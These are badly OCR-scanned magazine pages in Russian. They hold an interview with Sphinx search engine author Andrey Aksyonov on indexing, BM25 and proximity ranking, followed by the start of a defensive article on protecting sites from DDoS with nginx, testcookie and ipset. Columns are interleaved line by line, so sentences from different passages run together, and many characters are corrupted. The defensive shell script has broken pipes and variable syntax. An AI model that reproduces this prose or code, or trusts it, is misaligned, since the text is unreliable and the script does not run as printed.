более чем в половине всей коллекции песен. сходил по интернету и накачал документы. где через запятую записан список номеров
За счет этого стандартный статистический ал­ Зато я умею их проиндексировать и быстро по документов, и вот- мы их нашли. Это и есть
горитм ранжирования такую песню, в которой ним искать. модель примитивного полнотекстового поиска.
есть точная цитата - идеальное соответствие С масштабированием тоже полный по­ Однако нужно хранить не только номера
поисковой фразе, но повторяется она нечасто, рядок. У нас есть две части: часть, которую я документов, но еще и позиции сnо в в них. По­
заранжирует глубоко вниз. Т о есть идеальное все еще считаю простой, и часть, которая куда зицию при зтом можно записывать по-разному.
соответствие запросу окажется на самом дне сложнее. Когда нужно разложить данные на Т о есть зто может быть не просто номер слова
выдачи. Зато песня, в которой все три слова много серверов, возникают две проблемы. Как от начала документа, но также номер поля,
повторяются оч-чень уж много раз, окажется разnожить и потом собрать их вместе? номер зоны. Для веб-поиска возможны еще
на самом верху. Разложить- в нашей модели проблем нет. атрибуты: скажем, не подкрашено ли слово
Еще одно ключево�дмзайн-решенме На один сервер положил конфигурацию, на жирным шрифтом или красным цветом. В слу­
заключалось в том, что близкие совпадения которой написано «этот сервер тянет докумен­ чае с языками с развитой морфологией !типа
фраз нужно вытягивать вверх. Ранжировать ты с номерами от 1 до 1 000 000>>. На второй русского! может оказаться неплохой идеей
выше, чем просто россыпь слов по документу. сервер поnожил конфигурацию от 1 000 000 также указать и форму слова.
Это подсказал простой здравый смысл, когда я до 2 000 000. Все, задача индексации решена. Потом возникает и чисто технический
решал свои личные задачи. Я хотел, чтобы точ­ Конечно, у тебя возникает зоопарк конфигов вопрос - не будешь же ты, в самом деле,
ная цитата из песни была вверху, и была там на разных сервера х - их возможно ка к-то вордовый документ читать? Данные нужно
гарантированно. Стандартный, статистический автоматизировать или положить под контроль сохранить бинарно, хорошо пожать, чтобы они
метод ранжирования мне этого не давал - он версий ... но зто понятные и легкие техни­ жрали поменьше места, а поиск работал бы­
смотрел только на частоты, но не смотрел на ческие трудности. А вот если бы поисковая стрее. Получается вот такая структура данных.
позиции слов. система понятия не имела о слиянии резуль­ Естьтакже два прмнцмпмаnьно конфлик­
Так появился новый поиск, который ... не­ татов поиска, тебе пришлось бы в приnаже­ тующих пара метра: скорость и качество. Т ре­
сколько лет пролежал в стоnе. Я использовал нии писать массу идиотского кода: а давайте бование <<нужно максимально быстро отдать
его для личных целей, раздавал друзьям и зна­ сходим ко всем серверам, соберем с каждого результат>> - зто одно. А качество поиска ­
комым, по их запросам вносил какие-то правки. отклик, вместе их сольем, пересортируем по зто уже другое требование. Качество поис­
Один мэ таких пользователей оказался нужному условию сортировки ... Из десяти сер­ ка - зто штука, которой серьезно на данный
очень активным молодым человеком. Его зовут веров два не ответили? Давайте сходим опять. момент занимаются только веб-поисковики.
Петр Зайцев, он хорошо известен в узких кругах Естественно, зто сделано в Sphiпx, ведь мы Google, Уапdех и так далее. Нам, конечно, тоже
как основатель компании Регсопа, но в тот должны помогать пользователю делать поиск, хочется этим заниматься, но силенок пока не
момент еще работал в MySQL. Он фактически за­ а не головную боль ему создавать. В какой-то очень хватает.
ставил меня выйти из тени, сделать сайт, начать момент это бы nо хорошим отличием Sphiпx от Что нужно, чтобы сделать мегаскорость?
светиться на конференциях. В общем, рассказал «врагов>> типа Apache Solr !он тогда вообще не Грубо говоря - максимально ловко пожать
мне о том, что проект по большому счету вышел распределялея на несколько серверов!. список документов, так чтобы можно было
годный, людям нужный, и практически при нудил максимально быстро его разжать, прочи-
меня его выложить. За что ему большое спас ибо, КАК УСТРОЕН ПОИСК? тать и выплюнуть в программу. Все. Это одно
он сыграл немалую роль. Последние нескоnько лекций на эту тему требование. А второе требование, противо­
Благодаря ему я начал пилить Sphiпx дnя я начинал со сn о в:«Кто читал Библию, тот речащее этому первому, - не просто <<найти>>
проектов большего масштаба. Тут важно по­ умеет делать поиск>>. Есть такая штука в документы, но отранжировать, переставить их
нимать: одно дело, когда индексируешь сто массе разных изданий Библии, называется наиболее качественно.
мегабайт на личном сайте или полгигабайта конкорданс: в самом конце для каждого сло­ Представь, что тебе нужно не просто
сообщений форума на «Тупичке» I!!J1n,L111 . ва, за исключением предлогов и междометий, максимально быстро обработать этот список,
И совсем другой вопрос, когда тебе запилива­ написано как минимум, на какой странице оно но обработать его осмысленно. Нужно вы­
ют 50 Гб в 50 миллионах сообщений из блогов, находится, а как максимум - дана и более плюнуть не 3000 результатов поиска в произ­
которые откуда-то накраулили. точная позиционная информация !например, вольном порядке lиnи, например, в порядке
Десять лет назад99 % поисковиков были в каком стихе встречается!. Это отличная возрастающего идентификатора документа!,
написаны исходя мэ следующего предпо­ ментальна я модель поискового индекса. Он а в том по рядке, какой пользователь счи­
ложения: клиент хочет купить гото вый набор именно так и устроен. тает релевантным. Отдельный фокус здесь
скриптов, которые позволяли бы прицепить Приведу прммер: берем текст м строим заключается в том, что нет единого понятия
поиск на свой сайт. И чтобы робот дальше сде­ так называемый инвертированный индекс. релевантности.
лал эа него все - обошел сайт, все документы Что зто такое? Это большой сортированный Дnя одной м той же пары <<запрос м до­
выкачал, сложил в полнотекстовый индекс. по алфавиту словарь, где для каждого слова кументы» разные люди могут сказать разное.
Sphiпx не про это. Он не будет за тебя прописан список документов, в которых оно Когда лично я ищу слово <<sphiпx>>, меня, ско­
ходить по сайтам, он чисто про поиск. Предпо- встречается. Можно реализовать его даже рее всего, интересует мой собственный веб­
сайт. А если я <<руссо туристо обnико марале>>
и я захожу на страницу Google с египетского
IР-адреса, то вряд ли меня волнует поисковый
сервер. Вероятнее всего, мне нужно узнать,
ПОСЛЕДН И Е Н ЕСКОЛ ЬКО Л Е К Ц И Й когда ближайший тур на песчаном багги до
зто го самого сфинкса отходит иэ моего отеля.
О Б УСТРОЙСТВЕ ПОИСКА Я НАЧ И НАЛ Казалось бы - один и тот же документ,
один запрос, но для двух разных людей они
СО СЛОВ: «КТО Ч И ТАЛ БИБЛ И Ю, ТОТ УМЕЕТ имеют очень разный вес. Запрос может быть
одинаковым, но так называемая информацион­
д Е л Ать п о и с к�� ная потребность- разная. Позтому товарищам,

020 ХАКЕР 1 1 /166/2012


Интервью с Андреем Аксеновым

фразу, не отличаются вообще никак. И десять


лет назад это не устраивало даже меня.
Думаю, даже большинство коммерческих
поисковиков использует ее до сих пор. Несмо­
тря на полное игнорирование позиций, фор­
мула достаточно качественная. Тем не менее
в коммерческих проектах неустанно работают
над новыми технологиями, заодно продвигая
науку. Если незатейливую реализацию ВМ25
сравнить с теми сложными формулами ранжи­
рования, которые там крутятся, естественно,
она даст худшие результаты. Но она достаточ­
но неплоха.
По сути, ВМ25- это сумма частоты слова
ITF], умноженной на IOF - относительную
частоту слова в коллекции, для каждого слова
в запросе. Это опять на пальцах, потому что
на самом деле там запрятано еще несколько
передаточных коэффициентов, которые демп­
фируют, сглаживают частоты и смотрят на дли­
ну документа. Скажем, у тебя есть документ,
в котором слово встретилось один раз, и есть
другой докуме нт, где оно встретилось сто раз.
Зато какое-то другое, в десять раз более ред­
кое слово, встретилось там чаще. Если просто
перемножать такие метрики - будет плохо.
Слишком большое количество вхождений
более плохого !менее редкого] слова сильно
эаспамит результат. Поэтому TF засовывается
под логарифм.
Что за TF, IDF? IDF значит inveгse document
fгequency, обратная частота документа - ме­
трика того, насколько слово редкое. Если оно
максимально редкое- встречается всего раз
на всю коллекцию, то метрика максимизиру­
ется и стремится к единице. Если наоборот­
встречается в каждом документе, метрика
минимизируется и стремится к нулю. Чем реже
слово, тем лучше его IDF. Когда всего один
документ на всю твою коллекцию из миллиона
или миллиарда -это хорошо. Есть еще одна
тупая метрика - TF lteгm fгequeпcy]. Частота
слов в текущем документе, который ты об­
рабатываешь. То есть сколько вхождений этого
слова вообще есть. Просто посчитать.
Но давай разберем, как работает запрос
мз двух слов. Что он должен делать, чтобы
исполниться м отранжмровать результаты,
у которых эта информация есть lто есть веб­ много. Но О реп Souгce поисковики обычно пр м помощи классической частотной функ­
гигантам вроде Google или Яндексl, приходит­ а н ализируют крайне мало. ции ВМ25? Это работает так: берем список
ся угадывать информационную потребность Некоторое время назад у меня вообще документов по одному слову. Он отсортирован
пользователя по всяким другим сигналам ­ была nрисказка - мол, типичный Ореп Souгce по возрастанию номера документа. Берем
I Р-адресу, языку в брауэере, истории поис­ поисковик lда и не только О реп Souгcel для второй список. Бежим по обоим спискам
ков, истории пока за объявлений, просмотрам ранжирования использует всего один фактор. одновременно и выбираем те документы, у ко­
сайтов и так далее. В той мере, в какой они до Общепринятую статистическую функцию торых номер совпал. Просто пересекаем два
таких данных могут дотянуться, конечно. ВМ25, которая смотрит на частоты слов в кол­ списка. Получаем третий список -это все до­
лекции !настолько они частые или редкие] и на кументы, в которых есть два наших ключевых
частоты слов в конкретном документе. слова. Осталось их отранжировать. То есть
Формулу ВМ25 nридумали где-то в 80-х, а в посчитать ту или иную функцию ранжирова­
уnрощая, - это усредненная степень счастья начале 2000-х довольно тривиальным образом ния, например ВМ25.
каждого отдельного пользователя. В идеале: расширили, чтобы уметь взвешивать доку­ Как это сделать? Для этого нужно заранее,
я коряво формулирую свою информационную менты о многих полях и назначать этим полям в момент построения индекса, рядом с каждым
потребность, а поисковая машина <<делает разный вес. номером документа, в списке документов !на
магию>>- угадывает по всем явным и не очень Но есть проблема: ВМ25 вообще не смотрит который из словаря есть указатель], положить
сигналам, какой же именно документ мне на взаимные позиции слов. То есть три слова, не только номер, но и число вхождений этого
дико нужен, и возвращает именно его. Таких как угодно размазанные по документу, и три слова в этот документ, TF. А в самом словари­
сигналов n риходится анализировать довольно слова, которые стоят рядом и образуют точную ке положить не только слово и указатель на

ХАКЕР 11/166/2012 021


COVERSTORY
список документов, н о еще и сравнительную когда в документе есть точное совпадение стовые. Текстовы е - мы обнюхиваем позиции
частоту этого слова во всей коллекции, IDF. для нашего запроса. Дефолтная формула и привязанную к ним информацию и п о этим
Она тоже рассчитывается в момент индекса­ ранжирования до сих пор такая, н о с тех п о р позициям делаем всякие выводы. На самом
ции текста. Мы читаем с диска вдвое больше ситуация у нас е щ е немного улуч шилась и дел е - считаем всякие статистические штуч­
данных, когда бежим по двум спискам и пере­ будет улучшаться дальше. ки. Типа что такое TF? Это просто сумма числа
еекаем их. При пересечении мы не смотрим на Фактор близости работает немного слож­ позиций. Что такое IDF? Это тоже статистиче­
TF !частоты!, но после того, как у документов нее, чем ВМ25. Чтобы его посчитать, не отде­ ская штука, но только заранее посчитанная по
совпали номера, - у нас и частоты есть. У нас лаешься предрассчитанным числом слов. Тут всей коллекции. Можно еще всякий смешной
есть T F - из списка документов, и есть I D F ­ нужно не просто хранить список документов, фарш смотреть- на близость смотреть, что
и з словарика. Мы просто перемножаем их, но хранить тот факт, что в документе номер LCS ILoпgest Commoп Subsequeпce) хороший.
складываем и все. Задача решена. 123 слово«Вася>> встретилось в позициях 10, Можно и более умные факторы придумать,
Так вот, присказка раньше была такая: 20 и 30. А слово«Петров» в этом же документе которые смотрят на близость слов. Все, что
если у многих поисковиков всего один ранжи­ встретилось в позициях 1 1 , 48 и 92. И нужно связано с текстом запроса и документа, в
рующий фактор !та са�я ВМ25), то у Sphiпx не только выяснить, что пара номеров 123 и конечном итоге сводится к разнообразным
их целых два. Один - ВМ25, потому что куда 123 совпала для слов «Вася» и«Петров» и методам обнюхивания позиций и прочей мета­
без нее? Второй - степень близости. Степень позтому оба слова есть в документе номер 123 информации, которую мы сохранили.
совпадения запроса как фразы с документом. и он удовлетворяет запросу «Вася Петров». Но еще есть внетекстовые факторы. Тот
Очень простая на самом деле штука. Сейчас Еще после этого нужно пробежаться по всем же page гапk, который у всех на слуху. Что зто
уже все поеложнее и присказка уже нееер­ позициям первого и второго слова в зто м до­ такое? Это фактор, не имеющий ни малейшего
на - факторов куда больше двух. Но степень кументе и посмотреть- о, а в этом месте они у отношения к тексту запроса и документа. Это
близости по-прежнему активно используется. нас стояли рядом. Ништяк. Это же совпадение некий коэффициент, который показы вает, на­
Берем запрос и считаем такое число: фразы. Давайте этот факт у себя отметим и сколько хорошо на этот сайт и на эту страницу
сколько слов м ы можем оставить в запросе, используем при ранжировании как одну из ссылаются извне. Просто некий факт, который
чтобы вы ходить на отдельно взятый до­ переменных. В литературе зто назы вается привязан к номеру документа, к этому номеру
кумент. Понятно, что единицу мы насчитаем факторами или сигналами. 123 в списках для слов «Вася» и к той же самой
всегда - хоть одно слово должно совпасть. В принципе, все текстовые факторы единичке, что привязана к слову «Петров».
А если у нас два слова стоят в запросе рядом при ранжировании опираются на это. Они Упорядочивание результатов может
и абсолютно такая же цитата встречается всегда рассчитываются по позициям и прочей опираться на посчитанную релевантность,
в документе, значит наш фактор близости привязанной информации. Если слово было а может на более сложные факторы. К при­
равен двум. Или, формально, длина наиболь­ написано жирным - теоретически поисковик меру, сначала на новостном сайте идут все
шей общей подпоследовательности равна может это использовать. М ы не используем, но результаты за последний год, какими бы
двум. Соответственно, чем больше зто число, теоретически - сделать можно. плохими с точки зрения релевантности о н и ни
тем выше в выдаче будет стоять документ. Для ранжирования существует ряд фак­ были, а после - все, что старше года, сортиру­
Максимизируется степень близости тогда, торов. Две категории - текстовые и внетек- ется по релевантности. Вполне корректный и
разумный метод упорядочивания результатов,
пользователям может нравиться.
У нас в Sphiпx в один прекрасный момент
еще появилась такая штука - считалка выра­
жений. Можно написать произвольное ариф­
метическое выражение, и она его посч итает.
Она довольно быстрая по замерам - местами
в десятки раз быстрее той, что встроена в
MySQL. И возникла следующая чудная идея ­
при крутить ее тоже к ранжированию. Я на­
писал специально скриптуемый ранкер, такую
функцию ранжирования, которая считает не­
сколько всяких факторов по тексту запроса и
документа и дает тебе произвольно их смешать
в твоей собственной формуле. С его помощью
можно тестировать собственные формулы
ранжирования, описывая их прямо в поиско­
вых запросах.
Формула ранжирования, которую можно
таким образом описать, - зто комбинация
нескольких факторов, «кубиков». Один из
факторов - зто бессмертная ВМ25 - как без
нее? Можно и просто учитывать количество
совпа вших слов в каждом конкретном поле,
другие частотные факторы, типа мини маль­
н о й и максимальной IDF. Есть и еще более
хитрые факторы, типа позиции первого
наилучшего совпадения в данном поле, или
там максимума числа слова, совпавших в
скользящем окне заданной ш и р и н ы . Мы сами
придумали считать примерно с полдесятка
факторов, и еще часть запросили пользо­
ватели. Итого сейчас там где-то 12 разных,

022 ХАКЕР 1 1 /166/2012


Интервью с Андреем Аксеновым

Давайте сравним MySOL с Огасlе и Red Hat


с Microsoft. Сразу понятно, что если цель ­
заработать максимальное количество бабла,
Я ПОКА Н Е ЧУВСТВУЮ Н ЕО БХОД И М ОСТИ лучше не стартовать О реп Souгce проект во­
все. Не известен пока еще ни один Ореп Souгce
Б РАТЬ И Н В ЕСТИ Ц И И . У М Е Н Я Н Е Т СИТУА­ проект, который жил бы сильно лучше коммер­
ческих аналогов в той же нише. Тем не менее
Ц И Й В РОДЕ : «УПС, ТРЕТИЙ М ЕС Я Ц Н Е Ч Е М как ие-то доходы с этого у нас есть, сделки
довольно разнообразны, зто интересно, и для
ПЛАТИТЬ ЗАРПЛАТУ» нас это была единственная реально доступная
модель на старте.

местами довольно странных факторов, и с о популярность он снискал сразу. Определен­ РА С П РЕДЕЛЕННА Я КОМАНДА
временем будет только больше, - и вот их ный интерес и легкий трафик были изначаль­ Исторически сложилось так, что у нас рас­
можно как угодно скомб�нировать и постро­ но. Не было такого, что я выложил его, а потом nределенная команда. Если бы я сразу нанял
ить из них свою собственную, сколь угодно в течение трех лет смотрел: <<О, сегодня ко всех нужных людей в городе-герое Воронеже
сложную формулу ранжирования. мне один человек за день зашел, а завтра ­ и всем было бы удобно ходить в офис, то у нас
гигантский прорыв, уже трое!>> сейчас был бы мегаофис разработки в Воро­
ГДЕ И С П ОЛЬЗУЕТСЯ SPHINX? О деньгах речи сначала и не шло. Поначалу неже. Ну и, очевидно, отдельный офис nродаж
Очень сложно оценить количество внедре­ мотивация была проста - давайте выложим, в США. Но сложилось иначе. Каждого нового
ний нашего движка. В случае с Ореп Souгce ведь MySQL выложил, и мы выложим, вдруг подручного мы нанимали в новом городе.
продуктом этого никогда не знаешь. Можно что-то получится. А потом, через какое-то не Мы изначально росли органически, без
приблиэительно ориентироваться по числу за­ очень большое время, Sphiпx действительно накачки инвестиционными деньгами. Вот
качек, считать пропорции и так далее. Сейчас начал приносить деньги. nотихоньку выросли до десятка человек и
я оцениваю количество установок в десятки Сейчас у нас три основных источника дохо­ собираемся расти еще. Но я пока не чувствую
или даже сотни тысяч. Разумеется, не каждая да. Это лицензирование, заказы на разработку необходимости брать инвестиции, чтобы
закачка в итоге превращается в установку, фич от клиентов и консалтинг. акселерировать ростбизнеса. Ну энает� если
но, думаю, десять тысяч разных сайтов мы Первые деньги появились, когда Петр по-русски, у меня нет ситуаций вроде: <<упс,
уже точно пробили. Сто тысяч? Может быть. Зайцев показал Sphinx клиенту и тому очень третий месяц нечем платить зар плату>>.
Миллион? Вряд ли. понравилось, но понадобилась дополнитель­ География у нас обширная: Воронеж,
Был эпизод, когда я узнал, что Sphiпx ная функция. Речь шла о языке запросов. Краснодар, Новосибирск, Сиэтл, Бойсе. Еще
используется на The Piгate В ау. Это, конечно, До этого Sphinx умел искать все слова сразу Питер и, кажется, Саранск. Я, по-моему, кого­
антиреклама с точки зрения корпоративных или хотя бы одно слово в документе. Были то забыл ... точно, у меня где-то записано очень
пользователей, но факт покаэательный. так называемые режимы матчин га, до сих длинное название румынского города, где у
С каким-то апдейтом мы сломали что-то н е ­ пор в движке и API прослеживаемые. То есть нас сидит европейский консультант!
очевидное внутри Sphiпx, и один из этой банды Sphiпx искал все слова из запроса, любое Сейчас у нас четыре с половиной разработ­
написал нам. То есть я вступил в переписку с слово, фразу и ... кажется, все. А клиенту чика и два сейлза (оба в США). Почему четыре
каким-то человеком и только на пятом e-mail нужно было кое-что поеложнее и поинтерес­ с половиной? Есть четыре матерых и с ильных
обратил внимание на домен, с которого он нее: чтобы с булевыми операторами, с произ­ разработчика и один, скажем так, стажер- но
пишет. Так и узнал. вольной вложенностью скобок и так далее. лично мне-то приходится заниматься совсем
К счастью или к несчастью, почти все Вот это была первая большая коммерческая не только разработкой. Так что людей-то выхо­
торрент-сайты мира используют Sphiпx. The разработка. Конечно, помимо этого и м еще дит nять, потому что со мной, но разработчиков
Piгate В ау вот испол ьзует. Miпi пova, пока ее потребовалось много разного, н о язык запро­ четыре с половиной получается, потому что
не засудили и не закрыли, крутилась на нем. сов стал одной из с а м ы х крупных и заметных регулярно без меня.
RuTгackeг тоже, говорят. Никого оттуда лично фич. В О реп Souгce версию это, конечно, Общаемся электрон но - e-mail, Skype
не знаю, но «птички>) летают. вошло тоже. и IRC на ежедневной основе. Понятно, что
Кстати, Cгaigslist, который впереди всех по С тех пор так и повелось: клиент говорит­ если кого-то где-то нет, а он срочно ну­
количеству поисковых запросов, - не самый очень хочется иметь такую-то фи чу. И хочется жен - сотовый телефон никто не отменял, и
большой по объему индексируемых данных. ее побыстрее, а не когда вы ее там сделаете мы будем дозваниваться и искать. Но такое
Есть ряд проектов типа BoaгdReadeг, Social сами по себе. Ну, мы и делаем, чего уж :1. требуется редко.
Radaг и еще некоторых. которые индексируют с Для меня это были первые существенные Людей мы постоянно ищем. С этим, как
помощью Sphinx более 20 миллиардов доку­ деньги, но они пришли не за консалтинг по и везде в IT, вообще настоящая беда. Open
ментов каждый. Думаю, суммарно все проекты, настройке, а за разработку. И до сих пор зна­ Souгce в этом никак не по могает, скорее
использующие Sphiпx, уже перевалили за 100 чительную часть денег наша компания зараба­ даже вредит. У меня есть теория, что люди
миллиардов документов и за 1 миллиард запро­ тывает не на консалтинге, а на разработке. думают: батюшки-светы! - каки е-то слож­
сов в день. Так что мы миллиардеры! А вообще список подобных «бесплатных», ные С++ коды, какой-то человек-nрограм­
У крупного проекта масса потребностей. И я внутренних фич-реквестов у меня и сейчас мист говорит н а конференциях зажигатель­
не удивлюсь, если внутри Google, Facebook на 200 позиций как минимум. Там все - от ные, но непонятны е слова, еще удаленная
и Yahoo! используется Sphinx. Понятно, что крохотных затычек до больших, интересных работа, как это вообще ... да их там, наверное,
не для поиска на «морде>>, но для какой-то кусков функционала. палкой бьют, за руку к батарее приковывают
мелкой задачи, вроде поиска по бэгтрекеру За лицензирование платят клиенты, и вообще у них наверняка офиса нету! И пу­
вот этой конкретной группы - почему нет, которые встраивают Sph i nx и не хотят от­ гаются даже резюме прислать. Такая теория.
решение работает, и все хорошо. крывать свои исходники . Де ло в том, что вся На самом деле у нас все куда более приятно
наша кодовая база доступна под лицензией и демократично, н е говоря уж об интерна­
З АРАБ ОТАТЬ НА OPEN SOURCE GPL, поэтому даже коммерческому проекту ционале, - думаю, Адам, Адриан, Алексей,
Sphinx, видимо, был достаточно неплох даже пришлось бы публиковать изменения под этой Антон, Глория, Евгений, Илья, Ричард и
на начальной стадии, так что свою умеренную же лицензией. Это н е всем удобно. Станислав подтвердят. :J:

ХАКЕР 11/166/2012 02З


COVERSTORY Артем Гаврмченков, ведущий разработчик сети фильтрации трафика Orator

1 6 РЕЦ Е ПТОВ ЗАЩИТЫ


ОТ DDOS-ATAK СВОИМИ СИЛАМ И
Б орь б а с DDоS -атаками - работа н е только с л ожная, н о и у вл екате л ьная .
Н еуди в ител ьно, что кажды й с и с адми н п е р вым де лом пытает с я орга н изов ать
оборо н у с во ими си л ами - тем б ол е е что пока еще это возмож н о.

ХАКЕР 1 1 /166/2012
Отбить D D o S

Cl ы решили помочь в а м в этом нелегком деле и опубликовать


несколько коротких, тривиальных и не универсальных сове­
!l.yoпzel/testcookte-ngtnx-modulel. разработанный хабрапользователем
!akypгizel. Идея простая. Чаще всего боты. реализующие НТТР-флуд,
тов по защите вашего сайта от атак. Приведенные рецепты довольно тупые и не имеют механизмов НТТР cookie и редиректа.
не помогут вам справиться с любой атакой, но от большинства опас­ Иногда попадаются более продвинутые -такие могут использовать
ностей они вас уберегут. cookies и обрабатывать редиректы, но почти никогда DоS-бот не несет
в себе полноценного JаvаSсгiрt-движка !хотя это встречается все чаще
и чаще!. Testcookie-nginx работает как быстрый фильтр между ботами и
П РА ВИЛ ЬНЫЕ ИНГ РЕД ИЕНТ Ы бэкендом во время L7 DDоS-атаки, позволяющий отсеивать мусорные
Суровая правда такова, что многие сайты может положить любой запросы. Что входит в эти проверки? Умеет ли клиент выполнять НТТР
желающий, воспользовавшись атакой Slowloгis, наглухо убивающей Rediгect, поддерживает ли JavaScгipt, тот ли он браузер, за который
Apache, или устроив так называемый SУN-флуд с помощью фермы себя выдает !поскольку JavaScгipt везде разный и если клиент говорит,
виртуальных серверов, поднятых за минуту в облаке Amazon ЕС2. Все что он, скажем, Fiгefox, то мы можем это проверитьl. Проверка реализо­

ваются на следующих в � жных условиях.


наши дальнейшие советы по защите от DDoS своими силами основы­ вана с помощью кукисов с использованием разных методов:
«Set-Cookie» + редирект с помощью 301 НТТР Location;
«Set-Cookie» + редирект с помощью HTML meta гefгesh;
ОТКАЗАТЬСЯ OTWIN DOWS SERVER произвольным шаблоном, причем можно использоватьJаvаSсгiрt.
Практика подсказывает, что сайт, который работает
на винде 12003 или 2008- неважно!. в случае DDoS Чтобы избежать автоматического парсинга, проверяющая кукиса
обречен. Причина неудачи кроется в виндовом сетевом может быть зашифрована с помощью AES-128 и позже расшифрована
стеке: когда соединений становится очень много, то на клиентской стороне JavaScгipt. В новой версии модуля появилась
сервер непременно начинает плохо отвечать. Мы не возможность устанавливать кукису через Flash, что также позволяет
знаем, почему Windows Sегvег в таких ситуациях работает настолько эффективно отсеять ботов !которые Flash. как правило, не поддержива­
отвратно, но сталкивались с этим не раз и не два. По этой причине речь ют). но. правда. и блокирует доступ для многих легитимных пользовате­
в данной статье будет идти о средствах защиты от DDoS-aтaк в случае, лей !фактически всех мобильных устройств!. При мечательно, что начать
когда сервер крутится на Linux. Если вы счастливый обладатель от­ использовать testcookie-nginx крайне просто. Разработчик, в частности,
носительно современного ядра !начиная с 2.61, то в качестве первичного приводит несколько понятных примеров использования !на разные
инструментария будут выступать утилиты iptaЬies и ipset !для быстрого случаи атаки! с семплами конфигов для nginx.
добавления IР-адресовl, с помощью которых можно оперативно за­ Помимо достоинств. у testcookie есть и недостатки:
банить ботов. Еще один ключ к успеху- правильно приготовленный режет всех ботов, в том числе Googlebot. Если вы планируете оста­
сетевой стек. о чем мы также будем говорить далее. вить testcookie на постоянной основе, убедитесь, что вы при этом не
пропадете из поисковой выдачи;
РАССТАТЬСЯ С АРАСНЕ создает проблемы пользователям с браузерам и Links, wЗm и и м по­
Второе важное условие - отказ от Apache. Если у вас, добными;
не ровен час, стоит Apache, то как минимум поставьте не спасает от ботов, оснащенных полноценным браузерным движком
перед н и м кеширующий прокси - nginx или lighttpd. с JavaScгipt.
Apache'y крайне тяжело отдавать файлы, и, что еще
хуже, он на фундаментальном уровне !то есть неиспра­ Словом, testcookie_module не универсален. Но от ряда вещей,
вимоl уязвим для опаснейшей атаки Slowloгis, позволяющей завалить таких как, например, примитионые и н струментарии на Java и С#, он
сервер чуть ли не с мобильного телефона. Для борьбы с различными помогает. Таким образом вы отсекаете часть угрозы.
видами Slowloгis пользователи Apache придумали сначала патч Anti­
slowloгis.diff, потом mod_noloгis, затем mod_antiloгis, mod_limitipconn, KOДt.t.t.


mod_гeqtimeout ... Но если вы хотите спокойно спать по ночам, проще Целью DDoS'epoв часто становится наиболее ресурсо­
взять НТТР-сервер, неуязвимый для Slowloгis на уровне архитектуры емкая часть сайта. Типичный пример- поиск, который
кода. Поэтому все наши дальнейшие рецепты основываются на пред­ выполняет сложные запросы к базе. Естественно, этим
положении. что на фронтенде используется nginx. могут воспользоваться злоумышленники, зарядив
сразу несколько десятков тысяч запросов к поис­
ковому движку. Что мы можем сделать? Временно отключить поиск.
О Т & И ВА Е МСЯ ОТ DDOS Пускай клиенты не смогут искать нужную информацию встроенными
Что делать, если пришел DDoS? Традиционная техника самообороны ­ средствами, но зато весь основной сайт будет оставаться в работоспо­
почитать лог-файл НТТР-сервера, написать паттерн для gгер !отлав­ собном состоянии до тех пор, пока вы не найдете корень всех проблем.
ливающий запросы ботовl и эабанить всех, кто под него подпадет. Эта Nginx поддерживает нестандартный код 444, который позволяет про­
методика сработает... если повезет. Ботнеты бывают двух типов, оба сто закрыть соединение и ничего не отдавать в ответ:
опасны. но по-разному. Один целиком приходит на сайт моменталь-
но, другой - постепенно. Первый убивает все и сразу, зато в лагах location /search
появляется весь полностью, и если вы их проgгераете и забаните все return 444 ;
IР-адреса, то в ы - победитель. Второй ботнет укладывает сайт нежно
и осторожно, но банить вам его придется, возможно, на протяжении
суток. Любому администратору важно пони мать: если планируется Таким образом можно, например, оперативно реализовать филь­
бороться gгер'ом, то надо быть готовым посвятить борьбе с атакой пару трацию по URL. Если вы уверены. что запросы к location /seaгch при­
дней. Ниже следуют советы о том, куда можно заранее подложить со­ ходят только от ботов !например, ваша уверенность основана на том,
ломки, чтобы не так больно было падать. что на вашем сайте вообще нет раздела /seaгch), вы можете устано­
вить на сервер пакет ipset и забанить ботов простым shell-cкpиnтoм:
ИСПОЛЬЗОВАТЬ МОДУЛЬ TESТCOOKIE


Пожалуй, самый главный, действенный и оперативный ipset -N ban iphash
рецепт этой статьи. Если на ваш сайт приходит DDoS, tail -f access . log ) while read LINE; do echo "$LINE" 1 \
то максимально действенным способом дать отпор cut -d "" -fЗ ) cut -d · ' -f2 1 grep -q 444 && ipset -А
может стать модуль testcookie-nginx lhttps:l/github.co m/ ban "${ L%% * } " ; done

ХАКЕР 1 1 /166/2012 025


COVERSTORY

Если формат лог-файлов нестандартный (не comblnedl или тре­ в большинстве случаев собака зарыта в сложности и тяжеловес­
буется банить no иным nризнакам, нежели статус ответа, - может ности запросов к базе данных. Здесь поможет встроенная в движок
nотребоваться заменить cut на регулярное выражение. базы данных SQL-директива explain .

БАНИМ ПО ГЕОПРИЗНАКУ Если сайт лежит навзничь и вы ничего не теряете, отключитесь от


Нестандартный код ответа 444 может n р и годиться сети, посмотрите лаги, nоnробуйте их nроиграть. Если не лежит, то
еще и для оnеративного ба на клиентов n o гео­ nоходите по страницам, посмотрите на базу.
nризнаку. Вы можете жестко ограничить отдельные Пример nриведен для РНР, но идея справедлива для любой
страны, от которых исnыты ваете неудобство. Ска­ nлатформы. Разработчик, пишущий nрограммные nродукты на каком
жем, вряд ли у интернет-магазина фотоаnnаратов из бы то ни было языке nрограммирования, должен уметь оnеративно
Ростова-на-Дону много nользователей в Егиnте. Это не очень хоро­ n р и менять и отладчик, и nрофилировщик. Потренируйтесь заранее!
ший сnособ (nрямо скажем - отвратительный), nоскольку данные
GeoiP неточны, а ростовчане и н о гда летают в Егиnет на отдых. Но АНАЛИЗИРУ ЙТЕ ОШИБКИ

11
если вам терять нечего, то следуйте инструкциям: Проанализ ируйте объем трафика. время ответа
1. Подключите к nginx GеоiР-модуль lwiki.ngtn x.oгg/Ht tpGeoipModulel. сервера, количество ошибок. Для этого смотрите
2. Выведите информацию о геоnривязке в access log. лаги. В nginx время ответа сервера фиксируется в
3. Далее, модифицировав nриведенный выше шелл-скрипт, логе двумя nеременными: гequest_time и upstгeam_
nроgгерайте accesslog ngiпx'a и добавьте отфутболенных по геогра­ гesponse_time. Первая - это nолное время вы­
фическому признакуклиенто в в ба� полнения заnроса, включая задержки в сети между пользователем
и сервером; вторая сообщает, сколько бэкенд IApache. php_fpm,
Если, к примеру, боты по большей части были из Китая, то зто uwsgi ... l выполнял заnрос. Значение upstгeam_гesponse_time
может помочь. чрезвычайно важно для сайтов с большим количеством динамиче­
ского контента и активным общением фронтенда с базой данных,
НЕЙРОННАЯ СЕТЬ IPOCI и м нельзя пренебрегать. В качестве формата лога можно использо­


Наконец, вы можете повторить опыт хабрапользо­ вать такой конфиг:
